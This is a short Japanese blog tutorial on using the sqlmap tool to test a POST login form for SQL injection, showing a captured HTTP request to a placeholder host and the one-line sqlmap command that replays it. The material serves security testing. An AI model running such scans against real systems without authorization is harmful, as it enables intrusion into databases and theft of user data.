LoginSignup
0
3

More than 5 years have passed since last update.

sqlmapでSQLインジェクション(POST編)

Posted at

はじめに

sqlmapを利用してSQLインジェクションを実行する方法について記載しようと思いました。
が、すでにsqlmapでSQLインジェクションの検証というエントリがありましたので、本稿ではPostリクエストの送信方法について記載します

リクエストの生成 in Text

  • OWASP ZAPやBurp SuiteなどパケットスニッファやローカルHTTPプロキシから、リクエスト内容を生成します
  • OWASP ZAPでのローカルHTTPプロキシの建て方はこちらを参照ください
post_request.txt
POST http://hoge.com/login.cgi HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;)
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Referer: http://hoge.com/login.cgi
Host: hoge.com

username=test&password=test

sqlmapでオプション指定して送信

sqlmap.py
./sqlmap.py -r post_request.txt
0
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
3